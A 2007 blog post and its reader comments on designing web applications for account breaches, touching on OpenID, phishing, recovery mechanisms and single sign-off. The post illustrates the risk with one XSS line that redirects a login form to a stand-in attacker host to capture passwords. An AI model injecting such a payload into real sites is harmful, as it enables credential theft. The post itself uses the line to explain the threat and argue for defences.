OpenIDDesigning for a security breach
User account breaches are inevitable. We should take that in to account when designing our applications.
My work with OpenID has lead me to think a lot harder about account security in general. Staying secure on the Web is surprisingly difficult, even for experienced internet users—which means the mainstream public are in a whole heap of trouble.
Phishing is incredibly effective; the vast majority of people can’t tell the difference between a phished version of a site and a real one, and applications don’t help the situation by sending dozens of e-mails encouraging people to sign in or serving their legitimate login page on unrecognisable domains. Even worse, many social networking sites actively encourage bad security habits by asking users for their webmail username and password in order to scrape their address book for contacts.
CSRF and XSS attacks (the latter which opens up the former even in the few sites that have CSRF protection) are everywhere, and make phishing for user passwords even easier. If you can inject the following XSS attack in to a login page all bets are off:
document.forms[0].action='http://hax0r.example.com/capture.cgi'Your application may be perfectly secure, but if one of your users uses the same username and password on a less secure application that gets cracked or XSSd their account on your service can be compromised as well.
Most worrying of all is the way most user’s entire online identities are attached to a single webmail account. People often criticise OpenID for putting all of a user’s eggs in one basket, but don’t realise that for most people their e-mail already serves that purpose. Steal my mail account and you can use forgotten password requests to steal everything else. Here’s a nasty recent example of that happening with a Gmail account.
(This is why I’m excited to see OpenID providers moving towards more secure methods of authentication such as client-side SSL certificates and two-factor authentication with a physical token. Users can afford to have a stronger relationship with their OpenID provider than the other sites they sign in to. It would be nice to see the same authentication measures made available for popular webmail systems.)
If your web application hosts any valuable information at all, it’s prudent to expect that some significant proportion of your users will eventually have their accounts hijacked.
This introduces some interesting design challenges. If we expect that at least some of our users’ accounts will be compromised, what can we do to minimise the damage that an attacker can cause?
Online privacy campaigners frequently call for data and account deletion to be irreversible, but paradoxically this makes for even more trouble if an account is hijacked. Maybe applications should experiment with “root” level passwords that must be entered to make irreversible changes to an account (emptying the trash can for example). Of course, that just makes the whole password problem twice as bad.
I don’t have any answers, but I’d love to see some discussion about this. Are there any best practices that have already emerged in this area?
This is an excellent question, and one that's been addressed in other arenas. The web presents some interesting twists.
During one round of testing MULTICS, I've heard that the root password was given to everyone. The point was, they knew a breach would occur - they wanted to ensure that the recoverability mechanisms were strong enough to recover completely and quickly.
There's a famous web-culture stick figure image of a man stabbing himself in the eye. The caption reads, "Warning: No matter how hard you try, you cannot un-see something."
That presents one dilemma with online security - if information is the goal (such as private communications), once the account is hacked, the information is no longer confidential. However, other recoverability mechanisms are very strong. Integrity and availability can be assured, if you keep good records and audit trails.
Online games dealt with this when accounts would be broken into, and character's possessions stolen, and then deleted. To solve this dilemma, each item was given a unique ID (so it could be tracked internally), and characters marked for deletion wouldn't actually be deleted for 30 days. Thirty days is typically long enough that a user could contact the company and explain that they had been "hacked."
I'd suggest reading up on threat modeling and architectural risk assessment, if you're serious about designing against all potential disasters.
Nobody in particular - 30th September 2007 23:09 - #
I use myid.net for my OpenID.
I'd recommend talking to Adam Shostack; he blogs at http://www.emergentchaos.com/ -- I'm curious to hear what his opinion would be on this.
A trend that really annoys me is every new startup asking me for my Gmail, Yahoo, and Hotmail account passwords.
This is reverse education for users, we don't want people thinking its okay to start giving their passwords away. All the work that security companies (like us @ vidoop) and banks have done to raise mass awareness gets undone by things like this.
One benefit of OpenID that we're trying to explore at myVidoop.com is the concept of single-signoff. The ability, if your account is compromised, to disabled it everywhere.
First, allow the user to audit account activity via e-mail alerts and/or text-messages.
Second, if they see suspicious activity, they can text message a shortcode (in the US, at least :) for now) that will disable access to their account.
I think that this capability for control is how OpenID distinguishes itself from the pitfalls that exist with e-mail. If you have the right tools, you can actually react to a breach.
I feel that as far as phishing goes there is no real commitment to fighting it by most companies.
I try to report every phishing e-mail I receive to the actual site it is spoofing.
Many companies don't have an address set aside for reporting these e-mails, and some banks don't even have any information at all on their sites about phishing.
How can we expect consumers to be educated, when the affected companies aren't helping?
Mark Ferree - 7th October 2007 14:03 - #
There's a couple of systems which will take a password and combine it with the web site URL (think password=hash(pass, URL, salt)).
Passpet was one, SRP is another.
However, this doesn't really answer your question of resilient design. Adding resilience on top of insecurity isn't like networking, where we can build reliable TCP on unreliable IP.
I think a first step would entail clearer statements of what you want. Should this work on sites designed to be mashed up, web 2.0, and javascripted? When web sites are designed to bring in code from elsewhere, what are the sets of things you want to accept or avoid?
Adam - 8th October 2007 06:10 - #
While we still can live without giving 3rd party passwords on mashup sites, the growing of completely-javascript-based sites makes me feel like I am waiting for disaster to happen. This is like PHP -- one can write elegant and secure code, but most does not.
One of the main problems is that it's so easy for hackers and phishers to conceal their own identities.
And as hackers become more efficient in the processes, more and more people will be effected.
I agree with Tony Rutkowski's argument ( http://www.internetevolution.com/author.asp?sectio n_id=501&doc_id=136708 ) that we need to employ trusted identity management on the net or "the users who depend on them would be massively susceptible to vulnerabilities that include large-scale network attacks, abuse, fraud, and a litany of crime."
Elisa - 29th October 2007 03:49 - #
Hey, testing this new OpenID techno :) Nice!